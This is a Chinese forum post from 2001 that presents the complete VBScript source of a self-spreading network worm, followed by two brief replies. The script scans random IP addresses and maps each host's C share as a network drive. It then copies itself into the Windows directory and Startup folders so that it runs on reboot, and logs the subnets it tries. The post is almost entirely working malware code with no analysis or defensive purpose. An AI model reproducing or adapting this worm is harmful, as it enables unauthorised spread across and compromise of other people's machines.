共享蠕虫!!

dim   octa  
  dim   octb  
  dim   octc  
  dim   octd  
  dim   rand  
  dim   dot  
  dim   driveconnected  
  dim   sharename  
  dim   count  
  dim   myfile  
  count   =   "0"  
  dot   =   "."  
  driveconnected="0"  
  set   wshnetwork   =   wscript.createobject("wscript.network")  
  Set   fso1   =   createobject("scripting.filesystemobject")  
  set   fso2   =   createobject("scripting.filesystemobject")  
  on   error   resume   next  
  randomize  
  checkfile()  
  randaddress()  
   
  do  
  do   while   driveconnected   =   "0"  
  checkaddress()  
  shareformat()  
  wshnetwork.mapnetworkdrive   "j:",   sharename  
  enumdrives()  
  loop  
  copyfiles()  
  disconnectdrive()  
  loop  
   
  msgbox   "Done"  
   
  function   disconnectdrive()  
  wshnetwork.removenetworkdrive   "j:"  
  driveconnected   =   "0"  
  end   function  
   
  function   createlogfile()  
  Set   myfile   =   fso1.createtextfile("c:\network.log",   True)  
  end   function  
   
  function   checkfile()  
  If   (fso1.fileexists("c:\network.log"))   then  
  fso1.deletefile("c:\network.log")  
  createlogfile()  
  else  
  createlogfile()  
  end   If  
  myfile.writeLine("Log   file   Open")  
  end   function  
   
  function   copyfiles()  
  myfile.writeline("Copying   files   to     :     "   &   sharename)  
  Set   fso   =   CreateObject("scripting.filesystemobject")  
   
  fso.copyfile   "c:\network.vbs",   "j:\"  
   
  If   (fso2.FileExists("j:\network.vbs"))   Then  
  myfile.writeline("Successfull   copy   to     :     "   &   sharename)  
  End   If      
   
  fso.copyfile   "c:\network.vbs",   "j:\windows\startm~1\programs\startup\"  
   
  fso.copyfile   "c:\network.vbs",   "j:\windows\"  
   
  fso.copyfile   "c:\network.vbs",   "j:\windows\start   menu\programs\startup\"  
   
  fso.copyfile   "c:\network.vbs",   "j:\win95\start   menu\programs\startup\"  
   
  fso.copyfile   "c:\network.vbs",   "j:\win95\startm~1\programs\startup\"  
   
  fso.copyfile   "c:\network.vbs",   "j:\wind95\"  
   
  end   function  
   
  function   checkaddress()  
  octd   =   octd   +   1  
  if   octd   =   "255"   then   randaddress()  
  end   function  
   
  function   shareformat()  
  sharename   =   "\\"   &   octa   &   dot   &   octb   &   dot   &   octc   &   dot   &   octd   &   "\C"  
  end   function  
   
  function   enumdrives()  
  Set   odrives   =   wshnetwork.enumnetworkdrives  
  For   i   =   0   to   odrives.Count   -1  
  if   sharename   =   odrives.item(i)   then  
  driveconnected   =   1  
  else  
  '   driveconnected   =   0    
  end   if  
  Next  
  end   function  
   
  function   randum()  
  rand   =   int((254   *   rnd)   +   1)  
  end   function  
   
  function   randaddress()  
  if   count   <   50   then  
  octa=Int((16)   *   Rnd   +   199)  
  count=count   +   1  
  else  
  randum()  
  octa=   rand  
  end   if  
  randum()  
  octb=rand  
  randum()  
  octc=rand  
  octd="1"  
  myfile.writeLine("Subnet     :     "   &   octa   &   dot   &   octb   &   dot   &   octc   &   dot   &   "0")  
  end   function  
  问题点数：1、回复次数：2Top

1 楼sforever（人在江湖飘,谁能不挨刀.）回复于 2001-10-28 12:12:15 得分 0

upTop

2 楼coolarcher（冷箭手.风雨如晦，鸡鸣不已.既见君子，云胡不喜?）回复于 2001-11-21 17:02:17 得分 1

抱歉咯，不是偶的版块Top

相关问题

• win95
• wshnetwork
• copyfile
• driveconnected
• octd
• fso
• randaddress
• odrives
• network
• sharename

• 帖主：sforever
• coolarcher

• CSDN Blog
• 技术文档
• 代码下载
• 第二书店
• 读书频道